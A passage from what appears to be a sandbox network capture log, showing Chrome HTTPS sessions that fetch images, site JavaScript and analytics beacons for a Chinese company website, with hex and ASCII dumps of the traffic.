96 09 d6 56 e5 3e 0e fb 2b ba 65 32 c4 41 54 9b 24 b5 10 32 0e e4 cf 4a 86 9a 4f 03 b1 bc e5 64 ab 51 bf Data Ascii: 5lm-6=x>#iY5C@H<GC9L'GxUgfQ{LDJ-&?gjf=}r9mvAzH.>wov7 tc:S`^6sqpUyqzQ:l~-3!^2K1;Xk!a#eY.V>+e2AT$2JOdQ
2024-09-27 03:51:00 UTC	16384	IN	Data Raw: 84 54 54 65 c0 b3 76 b2 a4 a9 03 f3 59 2a d4 65 53 97 4e a9 a6 db ce 43 e6 d4 df 8b 6f 1f ae 63 86 15 47 aa f5 6d ac 01 a6 19 24 50 b0 c8 8d f7 47 43 8e 37 84 e6 9b 8b 36 d8 cc 85 40 a4 9b a6 f1 3c 32 17 08 88 3b 58 08 00 80 8e 0e 70 40 41 6d 53 fe 18 ab 76 de d8 e4 8d 41 ba 7b f5 e6 7d 2e a7 aa 1d 43 a9 2f 06 f7 1b cd d5 09 a5 4f 3a 3f 18 7d 39 4d ba 52 f4 eb 95 2b 4e 3a 91 4a b5 2c 35 37 ce 9a 6c 6a 4d 1f 3c 19 d7 4c 33 60 95 d9 2b 54 ad 6b fe e5 d7 a0 71 f6 ff 00 82 6e 53 58 f3 b0 53 08 dc ed 7a a1 ce 28 59 59 af 0f e9 54 0a 0b 89 4b ee 47 bb c5 16 2a d2 27 c9 4e 92 a4 0a d6 90 47 9a cd 3d ea b1 78 77 75 38 88 76 75 92 7d f1 ef 8d 09 cc 97 1f 57 eb c9 b4 98 85 0c c0 34 d6 09 16 c0 43 59 db c6 fe 41 2d 15 56 c2 a3 d7 04 f1 bf ff 00 70 3e 1d a0 e9 5d a9 Data Ascii: TTevYeSNCocGm$PGC76@<2;Xp@AmSvA{}.C/O:?}9MR+N:J,57ljM<L3`+TkqnSXSz(YYTKG'NG=xwu8vu}W4CYA-Vp>]
2024-09-27 03:51:01 UTC	16384	IN	Data Raw: 77 a9 37 47 cb a5 70 0e 61 45 12 1a 5d 2b 9a b5 c9 a4 e9 9c 1a c7 1c 80 9c 1f 9c 8a 00 bd 51 46 22 87 4e 82 db 30 ac 06 95 95 66 a9 b3 44 a1 22 1a c2 1c 6e b8 31 d7 0a 15 cd b2 0b 4d 19 5d 69 80 9d f1 ba fe 76 23 30 f0 5a b6 d5 94 ee fd 1b 97 94 72 94 d9 b4 e7 f0 d2 de d5 31 01 d4 94 e3 e3 c0 4f 04 52 55 57 55 d0 35 b9 18 ed 06 fc 84 49 d5 15 a6 d1 86 67 77 7e cb ac ab d0 ce 54 d6 de 7b ac d8 a7 83 df b2 03 e1 14 bb a8 06 7f ce 86 6f eb 79 ff 00 55 3a aa 06 9a 44 a7 4d d9 4e 98 da 85 4a 92 87 bd 95 61 2c fc d8 e8 53 7c 14 21 56 10 c5 15 22 80 49 64 41 75 d0 1c b6 a4 51 5c be 78 18 7f 43 c3 6e 5a a0 a5 59 65 a6 57 3f d8 88 77 84 3b 79 74 5f c5 81 69 c1 2d a4 fb 6f 18 7c 1d 0c 10 8d 46 f5 52 74 bd a3 b8 94 3d ca 73 70 a7 ea 8a b2 f1 d0 94 03 4b 8b a8 fa 86 Data Ascii: w7GpaE]+QF"N0fD"n1M]iv#0Zr1ORUWU5Igw~T{oyU:DMNJa,S\|!V"IdAuQ\xCnZYeW?w;yt_i-o\|FRt=spK
2024-09-27 03:51:01 UTC	16384	IN	Data Raw: 96 95 5b 62 b2 4b 55 e2 47 fa 09 b9 55 48 10 63 e9 96 f9 7b 65 b1 ff 00 a3 0b c2 60 9d 2d 5f 2b 0b 53 22 f5 21 88 75 8f 59 1b 4d 63 0d 63 a4 2d c4 5b a7 ed 96 c2 76 03 ff 00 a3 b1 87 e8 f4 d7 4a e4 03 7c 22 56 d5 96 b4 43 75 b7 2b 52 db 13 2a a1 37 3c a0 d6 6b b4 ab a8 53 a5 49 e2 5b 5d 49 58 65 1d 46 bf 96 1a 20 d7 e4 35 7c 25 ce ac 23 68 eb 0e 66 0f 9e 03 67 a8 c3 e7 83 03 6b e4 59 b0 6a ad ad ca 41 3a c8 5b 46 ff 00 29 c7 c8 fd 6a f6 3e 98 b0 10 d0 db 05 3f 99 f5 9c ea 69 49 5b 4b 2d ad 0c ba 80 d8 26 60 91 4b 5e 4f 88 7d c8 27 c6 d9 a1 9f 3e 1a 1c 34 c9 e1 6c 42 83 c0 7f bb 89 00 b4 d7 9b d2 55 c3 a2 e9 53 54 84 a9 6a ed 1b 7a 38 a8 9b 5b 38 e5 07 e3 6b a6 6c 73 90 43 c6 3a 8d 16 d6 42 8b 1b b5 9e 9b a9 3e 98 66 dc fd f4 de af 2b 5a 0d ea b7 92 56 69 Data Ascii: [bKUGUHc{e`-_+S"!uYMcc-[vJ\|"VCu+R*7<kSI[]IXeF 5\|%#hfgkYjA:[F)j>?iI[K-&`K^O}'>4lBUSTjz8[8klsC:B>f+ZVi
2024-09-27 03:51:01 UTC	16384	IN	Data Raw: 98 89 a8 3a b9 a8 e0 a2 a2 8b 1c 3d d8 8d 08 7a f8 76 07 36 44 fa bb 35 ac a9 d2 a3 46 31 01 00 90 c8 45 c0 22 20 2e 11 01 17 3d c2 e7 c6 61 0b 2a f3 46 57 29 32 48 61 09 4c 37 83 b7 cc 1f 78 25 a4 0b 4e 95 35 13 4d 34 66 1d 4f 91 9f a4 4f 2a 38 2b 8f 4b eb c7 f1 f6 ec 3e b8 ce 76 31 ed 0c 67 ab 09 c7 b0 86 85 1c d0 f9 ef d7 ac 6f 4d f2 23 c8 9c b2 cb 2c b8 4b 2a 7c 89 65 e1 c3 dd d9 ed fc f0 da 2d 3a 7e 9b e4 e1 11 96 12 0e 1b 52 4a 65 72 bc ae 4f b3 ef ed fb 30 fb f6 c5 3c 9f 31 e4 c6 3f 1b f3 ef ec fc 7f 66 de 4f 24 69 f1 94 77 49 23 29 a4 4e 88 f2 f9 53 4b 27 f9 63 eb e1 1f 7e d2 cb 2f 58 5c 3d 48 62 02 0e bb 17 3f 5e 33 48 07 c8 2a 38 a8 73 d7 3c 04 76 86 cf 8a 57 ee 15 1d 1f 45 87 34 a2 36 e3 32 72 29 22 84 c9 20 a3 a8 a7 e9 55 54 b5 70 8f db 87 1c Data Ascii: :=zv6D5F1E" .=aFW)2HaL7x%N5M4fOO8+K>v1goM#,K\|e-:~RJerO0<1?fO$iwI#)NSK'c~/X\=Hb?^3H8s<vWE462r)" UTp
2024-09-27 03:51:01 UTC	7353	IN	Data Raw: 42 d3 0b ed dc e2 38 70 4b cb 76 7a d9 d6 d0 df 9b 3f 72 05 96 74 5c 2d ed ce a1 eb 39 54 c7 2f 2f c5 ba 8d b5 e5 5f ec 3a 00 c9 f7 6d b5 94 ca 81 95 2b 9d a5 92 12 3c f1 7f 6a 56 d6 7c e9 86 59 9c cf b2 69 d1 dc 37 bc 37 6b 4f ea cb 53 30 d3 b7 42 8a 78 a6 dc 93 44 8a 66 ae 67 55 19 54 93 15 3a 9b c0 99 a0 1e 97 f6 19 c3 12 2f e3 d9 87 3a 2d 53 9b 03 2a 56 8b dd 08 49 e1 01 07 83 a4 30 1b df 07 3a 08 4a c7 36 b5 5d 99 a4 4f ac 94 d3 c2 7c 79 e3 8a 40 21 95 ca 91 7c a8 a8 9a 81 45 83 a8 a8 57 52 19 1d 25 9d 4e 8d d0 74 d6 c5 ad d5 2c 33 bd 38 1d 31 38 fa fd b0 8c 76 e6 aa da c4 5a 41 a8 65 50 0b ca 8b b6 0e 1a 87 50 ec 74 d3 ad 98 2d 85 4d 42 05 8e 47 a9 6b c6 ff 00 95 c9 57 dd 82 14 96 83 76 4d 15 24 5e 69 64 c6 59 a4 f3 7e 69 5e ef f2 8f 6f 77 1d 86 14 Data Ascii: B8pKvz?rt\-9T//_:m+<jV\|Yi77kOS0BxDfgUT:/:-S*VI0:J6]O\|y@!\|EWR%Nt,3818vZAePPt-MBGkWvM$^idY~i^ow

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	49848	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:00 UTC	659	OUT	GET /sichuang/images/2023/06/16/image_1686895055_YTKakKUA.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:00 UTC	545	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:00 GMT Content-Type: image/png Content-Length: 50794 Connection: close x-oss-request-id: 66F62BA4F299AF34303A0BA9 Accept-Ranges: bytes ETag: "63E9BEE28BF323C05E1CA9D9ADDF836E" Last-Modified: Mon, 29 Jan 2024 03:33:30 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 16903952025899090638 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: Y+m+4ovzI8BeHKnZrd+Dbg== x-oss-server-time: 3
2024-09-27 03:51:00 UTC	15839	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 ee 00 00 01 2c 08 06 00 00 00 9c d5 36 e8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 05 c7 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 37 2e 32 2d 63 30 30 30 20 37 39 2e 35 36 36 65 62 63 35 62 34 2c 20 32 30 32 32 2f 30 35 2f 30 39 2d 30 38 3a 32 35 3a 35 35 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 Data Ascii: PNGIHDR,6pHYsiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5b4, 2022/05/09-08:25:55 "> <rdf
2024-09-27 03:51:00 UTC	16384	IN	Data Raw: a6 02 24 49 6b 5c bb 99 04 20 4e 51 18 96 b8 cb b4 a4 4b 8b 14 d8 e6 c6 1b d3 0d 83 79 4a 2b 06 07 04 85 a0 4c 2f ae 9c b2 ce d2 aa 22 d3 97 69 9a ed cc cf 2c 2b 41 a2 20 9f 1b 05 d2 1a 2e 85 29 27 10 5e 0f bb 44 c8 32 72 c2 a3 b0 34 7d 9a a5 25 bd 1f cc cd 5d 71 13 8b 5c 19 18 07 66 ff 30 15 d4 7e 60 19 e4 06 2e 4e fa 92 7c c9 be f4 f7 bf ff 3d eb 38 ce ae 79 af 6c 1f de 2f 97 97 65 3f 93 3e dd a6 5f 39 df 97 24 a6 86 cb 53 7d ac 86 ea b4 49 d1 71 9c ec fb ef bf 5f 33 7f 93 8a 84 24 b1 22 06 fb b7 4f 9f 3e 8d de 1f 89 b4 b4 a4 b1 5f 48 cb 99 7c b7 2f 5e bc c8 af ae ae 6e c8 0d b9 9c c0 25 e9 61 fb 50 d9 91 ca 95 52 2a 52 b8 e5 41 28 e3 20 9d 4e 57 df bc 79 73 c7 71 9c db 72 b5 41 1a 85 38 1e c2 09 78 23 08 82 3d 08 4b b7 49 d0 a5 32 28 27 c9 5e f2 b8 d9 Data Ascii: $Ik\ NQKyJ+L/"i,+A .)'^D2r4}%]q\f0~`.N\|=8yl/e?>_9$S}Iq_3$"O>_H\|/^n%aPR*RA( NWysqrA8x#=KI2('^
2024-09-27 03:51:00 UTC	16384	IN	Data Raw: 5b b3 24 d1 94 4b a5 a3 82 ef 55 0a 7d e0 a4 6f 49 d2 32 2a d1 e8 75 ff a4 16 47 b3 9e 14 e8 a3 86 ac 24 71 90 be e6 72 79 77 d4 15 06 00 bb be ef 7f 2b 27 e2 30 9d 7b 89 44 62 57 1e 02 c2 a8 0c cc 67 65 65 25 0a f5 c5 48 2b e1 e1 4d 23 15 e0 f0 f0 30 a7 b5 de a6 d2 f1 fa f5 eb ae 09 2f 9c d4 0f 2e 5e bc 58 95 cf 35 9b cd dc da da 1a 80 93 4d 7a 5c 81 60 5d 9e 3f 7f ae d7 d6 d6 a2 0d e2 32 74 1d 95 10 e6 13 04 c1 dd f3 e7 cf 17 e2 ca e8 79 5e 25 08 82 9b 32 22 85 dc a8 66 28 a0 fb 23 35 c0 78 d8 95 96 33 39 96 a4 1f 68 58 bf 6f 86 4d 34 ce ea 6e 8e df 59 b8 7c 8c 82 38 d2 ce 6b e9 32 07 a0 ea ce 30 24 a7 b0 6e d7 e3 fa 01 49 89 8c 56 36 0b 48 b7 53 be 1f d3 05 b4 17 18 1e 91 ee 32 af 5f bf c6 3b ef bc 83 73 e7 ce 01 00 65 f5 2d a5 d4 2d 49 38 69 ad e5 26 Data Ascii: [$KU}oI2*uG$qryw+'0{DbWgee%H+M#0/.^X5Mz\`]?2ty^%2"f(#5x39hXoM4nY\|8k20$nIV6HS2_;se--I8i&
2024-09-27 03:51:00 UTC	2187	IN	Data Raw: c0 22 c8 ee 2c 39 91 25 ee f3 01 0d 18 0b 6d ef 79 6d 10 a2 d0 77 31 79 44 81 5f 8b 7f ec b8 e8 e5 8b 3e ee 2e 74 5a 6e 27 5d d2 1e 97 b8 cf 6a 72 9f 64 63 f6 22 31 8a d5 7d d6 07 32 4d a2 40 2f 5c f8 59 8c 05 ee 6b a2 12 39 c9 1c 62 65 f9 db 8d 65 56 cc 16 5d 36 c9 89 26 25 f0 cb ac 20 2d 1a 1e 7a cf 33 e3 72 d1 64 9f 34 e7 82 79 bf f0 69 c4 3d b5 9d b4 3f 34 4e 84 82 fc 6b 63 7c a2 35 8d a5 bd 71 3b fa 2c 22 50 4c 62 2d 5c f4 6a cf 38 11 66 66 55 e6 49 36 2e d9 78 f3 67 1b 32 34 f0 a4 ae 70 16 6f 27 16 4d 8e fb 61 9c 68 37 b3 c0 34 38 91 95 a3 bd d1 8b 0f f9 18 bf cd b9 8f 73 61 58 44 c7 a5 c5 66 5c 61 6f 3b e9 f8 18 77 53 05 37 d7 4c 82 49 c8 e3 2c 88 fb b8 58 06 2b f1 28 51 04 66 1d 32 6c 12 85 cc c6 21 3e fb a0 51 60 5c 58 79 fe 76 e2 2c 28 e6 cb 14 Data Ascii: ",9%mymw1yD_>.tZn']jrdc"1}2M@/\Yk9beeV]6&% -z3rd4yi=?4Nkc\|5q;,"PLb-\j8ffUI6.xg24po'Mah748saXDf\ao;wS7LI,X+(Qf2l!>Q`\Xyv,(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	49858	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:00 UTC	1072	OUT	GET /resources/assets/js/sichuang.shutime.js?v=0.574 HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __tins__21261259=%7B%22sid%22%3A%201727409055278%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201727410855278%7D; __51cke__=; __51laig__=1; __vtins__Je2vxuGiqIpyNLW9=%7B%22sid%22%3A%20%22e3f7b2dc-b35f-5bbe-aa91-f6d873769564%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201727409599999%2C%20%22ct%22%3A%201727409057601%7D; __51uvsct__Je2vxuGiqIpyNLW9=1; __51vcke__Je2vxuGiqIpyNLW9=e5167a3d-b8ba-5181-acee-14e115d2e457; __51vuft__Je2vxuGiqIpyNLW9=1727409057614
2024-09-27 03:51:00 UTC	206	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:35 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41
2024-09-27 03:51:00 UTC	16178	IN	Data Raw: 36 34 65 34 0d 0a 76 61 72 20 73 68 75 74 69 6d 65 20 3d 20 7b 0a 09 70 65 72 63 65 6e 74 3a 20 30 2c 0a 09 74 69 6d 65 72 73 3a 20 22 22 2c 0a 09 69 6e 69 74 3a 20 66 75 6e 63 74 69 6f 6e 28 65 29 20 7b 0a 09 09 24 28 22 62 6f 64 79 22 29 2e 61 70 70 65 6e 64 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 6f 61 73 74 22 3e 3c 69 3e 3c 2f 69 3e 3c 64 69 76 3e 3c 62 3e 3c 2f 62 3e 3c 70 3e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 27 29 3b 0a 09 09 24 28 27 23 6e 61 76 2d 69 63 6f 6e 32 27 29 2e 63 6c 69 63 6b 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 24 28 74 68 69 73 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 27 6f 70 65 6e 27 29 3b 0a 09 09 09 24 28 22 68 65 61 64 65 72 22 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 22 6f 70 65 6e 22 29 3b 0a Data Ascii: 64e4var shutime = {percent: 0,timers: "",init: function(e) {$("body").append('<div class="toast"><i></i><div><b></b><p></p></div></div>');$('#nav-icon2').click(function() {$(this).toggleClass('open');$("header").toggleClass("open");
2024-09-27 03:51:01 UTC	9663	IN	Data Raw: 69 22 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 61 63 74 69 76 65 22 29 3b 0a 09 09 7d 29 0a 09 09 0a 09 09 24 28 22 2e 77 6f 72 6c 64 20 6f 6c 20 6c 69 22 29 2e 68 6f 76 65 72 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 24 28 22 2e 77 6f 72 6c 64 20 75 6c 20 6c 69 22 29 2e 65 71 28 24 28 74 68 69 73 29 2e 69 6e 64 65 78 28 29 29 2e 61 64 64 43 6c 61 73 73 28 22 61 63 74 69 76 65 22 29 2e 73 69 62 6c 69 6e 67 73 28 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 61 63 74 69 76 65 22 29 3b 0a 09 09 7d 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 24 28 22 2e 77 6f 72 6c 64 20 75 6c 20 6c 69 22 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 61 63 74 69 76 65 22 29 3b 0a 09 09 7d 29 0a 09 0a 09 09 24 28 22 2e 64 6f 77 6e 5f 6c 69 73 74 20 61 22 Data Ascii: i").removeClass("active");})$(".world ol li").hover(function() {$(".world ul li").eq($(this).index()).addClass("active").siblings().removeClass("active");}, function() {$(".world ul li").removeClass("active");})$(".down_list a"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	49850	211.149.140.201	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:00 UTC	376	OUT	GET /resources/assets/images/t400-400.png HTTP/1.1 Host: www.strlaser.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:01 UTC	344	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:51:09 GMT Content-Type: image/png Content-Length: 2064 Last-Modified: Mon, 13 Mar 2023 02:18:08 GMT Connection: close ETag: "640e87e0-810" Expires: Sun, 27 Oct 2024 03:51:09 GMT Cache-Control: max-age=2592000 Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-09-27 03:51:01 UTC	2064	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 90 00 00 01 90 08 06 00 00 00 80 bf 36 cc 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 Data Ascii: PNGIHDR6tEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	49859	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:00 UTC	891	OUT	GET /resources/assets/lib/js/wow.min.js?v=0.574 HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __tins__21261259=%7B%22sid%22%3A%201727409055278%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201727410855278%7D; __51cke__=; __51laig__=1; __vtins__Je2vxuGiqIpyNLW9=%7B%22sid%22%3A%20%22e3f7b2dc-b35f-5bbe-aa91-f6d873769564%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201727409599999%2C%20%22ct%22%3A%201727409057601%7D; __51uvsct__Je2vxuGiqIpyNLW9=1; __51vcke__Je2vxuGiqIpyNLW9=e5167a3d-b8ba-5181-acee-14e115d2e457; __51vuft__Je2vxuGiqIpyNLW9=1727409057614
2024-09-27 03:51:01 UTC	206	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:35 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41
2024-09-27 03:51:01 UTC	7070	IN	Data Raw: 31 62 39 31 0d 0a 2f 2a 21 20 57 4f 57 20 2d 20 76 31 2e 30 2e 31 20 2d 20 32 30 31 34 2d 30 39 2d 30 33 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 34 20 4d 61 74 74 68 69 65 75 20 41 75 73 73 61 67 75 65 6c 3b 20 4c 69 63 65 6e 73 65 64 20 4d 49 54 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 2e 61 70 70 6c 79 28 62 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 67 3d 5b 5d 2e 69 6e 64 65 78 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 62 3d 30 2c 63 3d 74 68 69 73 2e 6c 65 6e 67 74 68 3b 63 3e 62 3b 62 2b 2b 29 69 66 28 62 20 69 6e 20 74 68 69 73 26 Data Ascii: 1b91/! WOW - v1.0.1 - 2014-09-03 Copyright (c) 2014 Matthieu Aussaguel; Licensed MIT */(function(){var a,b,c,d,e,f=function(a,b){return function(){return a.apply(b,arguments)}},g=[].indexOf\|\|function(a){for(var b=0,c=this.length;c>b;b++)if(b in this&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	49861	90.84.161.25	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:01 UTC	355	OUT	GET /v6/collect?dt=4 HTTP/1.1 Host: collect-v6.51.la Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:01 UTC	315	IN	HTTP/1.1 220 Date: Fri, 27 Sep 2024 03:51:01 GMT Content-Length: 0 Connection: close Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers via: EU-GER-frankfurt-EDGE5-CACHE5[558],EU-GER-frankfurt-EDGE5-CACHE5[ovl,552] X-CCDN-REQ-ID-46B1: 3e09d5ffb876e3bf6a6d68cb40a95e4d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	49852	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:01 UTC	659	OUT	GET /sichuang/images/2023/04/03/image_1680511194_iI19gSI1.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:01 UTC	544	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:01 GMT Content-Type: image/png Content-Length: 20668 Connection: close x-oss-request-id: 66F62BA5B4F3D431328654BF Accept-Ranges: bytes ETag: "B554908AF1B1B407DF480A4A469EC4E7" Last-Modified: Mon, 29 Jan 2024 03:33:53 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 2344829110357398830 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: tVSQivGxtAffSApKRp7E5w== x-oss-server-time: 2
